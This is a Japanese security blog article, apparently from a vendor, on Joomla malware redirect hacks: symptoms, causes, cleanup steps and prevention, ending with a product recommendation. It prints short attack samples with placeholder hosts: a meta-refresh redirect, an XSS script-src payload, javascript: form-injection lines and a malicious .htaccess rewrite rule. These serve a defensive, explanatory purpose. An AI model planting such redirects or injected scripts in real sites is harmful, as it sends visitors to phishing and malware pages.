Joomlaマルウェアリダイレクトハックとは?症状・原因から検出・修復方法まで徹底解説
Joomlaは、日々のサイト管理業務を効率化してくれる便利なCMSです。オープンソースコミュニティによって支えられており、初心者でも扱いやすい設計になっています。さらに、豊富な拡張機能(エクステンション)もJoomlaが人気を集める大きな理由の一つです。
しかしその一方で、Joomlaでは毎年のように複数の脆弱性が発見されています。XSS(クロスサイトスクリプティング)、ファイル侵入、SQLインジェクションなど、その種類は多岐にわたります。開発者は迅速にパッチを公開していますが、ユーザー側の更新が遅れるケースが多く、その結果として大量のJoomlaサイトが攻撃の標的となってしまうのです。
一度侵害されたサイトは、攻撃者の手に渡ります。改ざんや破壊はもちろん、最も多いのが「リダイレクトハック」です。訪問者を意図しない別ドメインへ強制的に誘導することで、攻撃者はクリックを収穫したり、スパムを配信したりできます。セキュリティ書籍『Joomla Web Security』でも指摘されているように、これはJoomlaサイトにとって深刻な脅威なのです。
Joomlaリダイレクトハックの主な症状
リダイレクトハックは非常に検出が難しいことで知られています。管理者自身は長期間気づかず、ユーザーからの「サイトにアクセスしたら別のページに飛ばされた」という苦情で初めて異変に気づくことも少なくありません。以下のような症状が見られたら、ハッキングを疑いましょう。
- ユーザーが知らないドメインへ勝手にリダイレクトされる
- 偽広告サイトが訪問者に表示される
- サイト閲覧中にユーザーの端末へマルウェアのインストールを試みる挙動がある
- スパム配信元としてブラックリストに登録される
- 特に決済ページなどにフィッシング用の偽ページが出現する
- 次々とポップアップが表示され続ける
実際の被害事例
Joomlaのマルウェアリダイレクト被害は世界中の管理者を悩ませており、多くの場合、最初の相談先はJoomlaコミュニティフォーラムです。厄介なことに、一度駆除しても再発するケースも報告されています。フォーラムには以下のような相談事例が投稿されてきました。



Joomlaリダイレクトハックの原因
DNSハイジャック
DNSハイジャックは極めて深刻な影響をもたらす攻撃手法で、Wikileaksのような大手組織も被害を受けた実績があります。この手法を使うと、攻撃者はJoomlaサイトへのトラフィック全体を迂回させることが可能になります。特に大企業はDNSサーバーの安全管理を徹底すべきです。DNSハイジャックは主に以下の2つの経路で行われます。
- Hostsファイルの改ざん: 各コンピュータはホスト名をIPアドレスに変換するための「hosts.txt」ファイルを持っています。大規模なマルウェア感染によりこのファイルが書き換えられると、該当するPCは正規のJoomlaサイトではなく、攻撃者が管理するドメインへ接続するようになってしまいます。
- DNSサーバーへの攻撃: DNSは古いプロトコルであり、システム全体が「信頼」に基づいて動作しています。DNSサーバーはマスターとスレーブ間でゾーン転送を行いますが、スレーブサーバーを装った不正サーバーを攻撃者が立てると、ローカルデータベースのコピー(機密情報を含む)を入手できてしまいます。これを足がかりに脆弱なマシンへ攻撃を仕掛け、ネットワークを侵害した後、ローカルDNSサーバー自体を改ざんすれば、すべての名前解決クエリを攻撃者のマシンへ向けることができるのです。
さらに注意したいのは、公共Wi-FiなどのLAN環境でも同様の攻撃が成立する点です。攻撃者が偽のDNSプロキシを設置すると、JoomlaサイトのIPアドレスが攻撃者管理のマシンに解決され、同一ネットワーク上のユーザー全員が偽サイトへ誘導されます。
SQLインジェクション(SQLi)
Joomlaでは近年、複数のSQLインジェクション脆弱性が確認されました。その一つが「User Notes list view」コンポーネントに関するCVE-2018-8045です。この脆弱性を悪用すると、攻撃者はサーバー上で任意のSQL文を実行でき、データベース内の機密テーブルが露出します。ここから取得したログイン情報でダッシュボードに侵入されれば、全ファイルへリダイレクト用のJavaScriptコードを仕込まれる恐れがあります。
攻撃者はこの作業を自動化するため、専用スクリプトをアップロードすることが多く、既存ファイルへの注入だけでなく新規ファイルの作成も行います。リダイレクトハックでよく見られる悪質ファイルの例は以下の通りです。
- /uuc/news_id.php
- /zkd/news_fx.php
- /dgmq/w_news.php
- /cisc/br-news.php
こうしたファイルを発見したら、速やかに削除してください。ファイル内には以下のような悪質なリダイレクトコードが含まれています。
<meta http-equiv="refresh" content="2; url=https://attackerDOMAIN.com/ ">
これらのファイルはMetaタグを使って訪問者をattackerDOMAIN.comへ飛ばします。また、Joomlaがスタッキング型SQLi(Stacked Based SQLi)に対して脆弱な場合、攻撃者はシステムコマンドまで実行可能になるため、SQL文だけでファイルへ悪質なリダイレクトコードを感染させることができます。
クロスサイトスクリプティング(XSS)
XSSはSQLiと並んで頻発する脆弱性です。JoomlaではCVE-2018-15880、CVE-2018-12711、CVE-2018-11328、CVE-2018-11326など多数のXSS脆弱性が発見されました。中でも最も深刻だったのはCVE-2018-12711で、原因は不具合のある「言語切替モジュール」でした。これにより一部言語のURLへJSコードを注入できる状態になっていたのです。XSSを悪用すると、リダイレクトハックだけでなくCookie窃取など他の攻撃にも発展します。
<script%20src="https://maliciousSite.com/bad.js"></script>
上記のコードを脆弱なパラメータの後ろに注入すると、ユーザーはmaliciousSite.comへリダイレクトされ、悪質なスクリプトbad.jsが読み込まれます。このスクリプトは攻撃者の目的に応じてあらゆるJavaScript操作を実行でき、フィッシングページへの誘導にも利用されます。
JavaScriptインジェクション
JavaScriptは動的な処理を担う強力な言語ですが、一部のエクステンション開発者による安全でないコーディングが原因で、JoomlaはJavaScriptインジェクションに対して脆弱になりがちです。XSSと同様、これもリダイレクトハックに悪用されます。簡易的な診断として、アドレスバーに以下を入力してみてください。
javascript:alert('Hello World!');
「Hello World!」というメッセージボックスが表示された場合、そのサイトは脆弱です。攻撃者はここからさまざまな操作が可能で、例えばフォームの特定フィールドに偽URLを挿入することもできます。
javascript:void(document.forms[0].redirect01.value="fakeDOMAIN.com")
このコードはredirect01という入力欄にfakeDOMAIN.comという値を追記し、フィールドに偽サイトへのリンクを仕込みます。ただし、Reflected XSSと同様に、この攻撃は基本的にローカル環境上でのみ機能するため、遠隔のユーザーを騙すにはソーシャルエンジニアリングなどの別手法との組み合わせが必要です。
.htaccessファイルの改ざん
.htaccessは多用途に使える強力なファイルで、一部のスクリプトインジェクション対策に使われる一方、リダイレクト設定にもよく利用されます。リダイレクトハックの際は、.htaccessに以下のようなコードが仕込まれていることがあります。
RewriteEngine OnRewriteOptions inheritRewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]RewriteRule .* https://MaliciousDomain.tld/redirect.php?t=3 [R,L]
最終行がMaliciousDomainへのリダイレクトを担当しており、redirect.phpというスクリプト経由で転送が実行されます。また、.htaccess以外ではindex.phpも感染対象になりやすいファイルです。index.phpはユーザーが最初にアクセスするページであるため、大量のトラフィックを集めます。攻撃者はこのファイルを狙って最大限のアクセスを奪い、クリック収益化につなげようとするのです。
Joomlaリダイレクトハックの対処・修復方法
DNSサーバーを堅牢化する
まず、ゾーン転送を最小限に制限しましょう。スレーブDNSサーバーを事前に定義しておけば、不正なスレーブからのゾーン転送要求を拒否できます。設定はnamed.conf.localファイルの編集で行えます。下記の画像のような設定です。

この設定により、信頼できるスレーブサーバー(secundario01)のみにゾーン転送を許可できます。また、DNSサーバーはデータ流出(データエクスフィルトレーション)攻撃にも使われるため、WiresharkなどのツールでDNSサーバーを通過するパケットをリアルタイム監視することをおすすめします。
データベースをクリーンアップする
リダイレクトのコードがコアファイルの奥深くに隠されていると検出は困難ですが、感染ファイルには共通点があります。それは「リダイレクトを引き起こす悪質コード」の存在です。PhpMyAdminのようなデータベース管理ツールを使えば、ワンクリックで該当ファイルを一括検索できます。

PhpMyAdminの検索機能を使えば、hxxp://maliciousSITE[.]com/bad.phpといった悪質スクリプトを含むすべてのページ・投稿を特定できます。さらに以下の作業にも活用できます。
- 不正に追加された管理者アカウントの確認と削除
- データベースパスワードの再設定
- 感染したテーブルのクリーンアップ
- 攻撃者によって破壊されたデータベースのロールバック
サードパーティ広告を見直す
収益化のために第三者広告を掲載しているサイトは多いですが、広告ネットワークの中にはルールを守らない業者も存在します。広告コンテンツの審査が甘いと、悪意あるプレイヤーが広告内にリダイレクトコードを注入できてしまいます。しかも悪質スクリプトの多くは外部サーバーでホストされているため、事態はさらに複雑化します。何度駆除しても感染が再発する場合は、一時的に広告をブロックしてみてください。それでリダイレクトが止まるなら、広告が原因だった可能性が高いため、広告ネットワークに連絡して問題を解決しましょう。
その他の予防策
- アップデートには重要なセキュリティ修正が含まれています。チェンジログで内容を確認しながら、常に最新状態を保ちましょう。
- 評判の良いエクステンションだけを使用し、ヌル(nulled)版や品質の低いものは避けてください。コアファイルだけでなく、エクステンションもこまめに更新しましょう。
- 強固な認証情報はブルートフォース攻撃の成功率を大幅に下げます。
- サーバーのファイル権限を適切に設定してください。
.htaccessなどのファイルは444(r–r–r–)または440(r–r—–)に設定するのが安全です。 - ファイルの改ざんを疑う場合は、SSHでログインし、ターミナルで
find /path-of-www -type f -printf '%TY-%Tm-%Td %TT %pn' | sort -rを実行します。タイムスタンプ順に並んだ更新ファイルの一覧が出力されるので、怪しい箇所を目視で確認し、「#」で疑わしいコード行をコメントアウトした後、専門家にファイル評価を依頼しましょう。
ファイアウォールで再発を防ぐ
一度駆除しても、ハッカーは継続的にサイトを標的にし続ける可能性があります。再発防止の観点で最も効果的な防御策がファイアウォールの導入です。現在市販されているセキュリティソリューションはスケーラビリティに優れており、小規模ブログから大型ショッピングサイトまで柔軟に対応できます。例えばAstraは、ファイルが改ざんされるたびにメールで通知してくれる機能を備えています。
Astraセキュリティ
AstraはJoomlaマルウェアリダイレクトのブロックにおいて優れた実績を持っています。パケットフィルタリングにより、攻撃者からの不正リクエストがサイトに到達する前に遮断されます。さらに、Joomlaサイトのセキュリティ監査を実施し、脆弱性を検出した際には通知してくれるため、常に攻撃者より一歩先を行ける状態を維持できます。人的サポートと自動化の融合したAstraは、Joomlaリダイレクトハック対策として強くおすすめできるソリューションです。

-
WordPressプラグインに潜むPHP実行型マルウェアの駆除・対策ガイド
最近、WP Super Cache、Akismet、Elementorといった人気WordPressプラグインが生成するファイルと酷似したファイル名・内容を持つ悪意あるファイルを、ハッカーが密かに仕込んでいるサイトが複数確認されました。これらのファイルに含まれるコードは、リダイレクトハック、サーバー上への不正ファイルの作成、お問い合わせフォームやメールマガジンへのスパム送信を引き起こし、最悪の場合はホスティング会社によるアカウント停止につながることもあります。本記事では、プラグインに潜むこの隠蔽マルウェアの実態と、その除去方法について詳しく解説します。 WP Super Cacheプラグイン
-
マルウェアとキーロガーとは?macOSでの感染兆候と検出・除去方法を徹底解説
Macはセキュリティが強固なことで知られていますが、それでもインターネット経由で巧妙なハッキングプログラムが侵入してくる可能性はゼロではありません。多くの方が「マルウェア」と「ウイルス」を混同しがちですが、実はこの2つは別物です。マルウェアとは、コンピュータに意図的に損害を与えることを目的として作られたソフトウェア全般を指し、ウイルスよりも複雑で破壊力が高いのが特徴です。 もうひとつ、macOSユーザーにとって無視できない脅威がキーロガーです。これはユーザーの操作を密かに監視するプログラムで、個人情報を第三者に渡してしまう危険性があります。名前の通り、キーボードで入力したすべてのキーストローク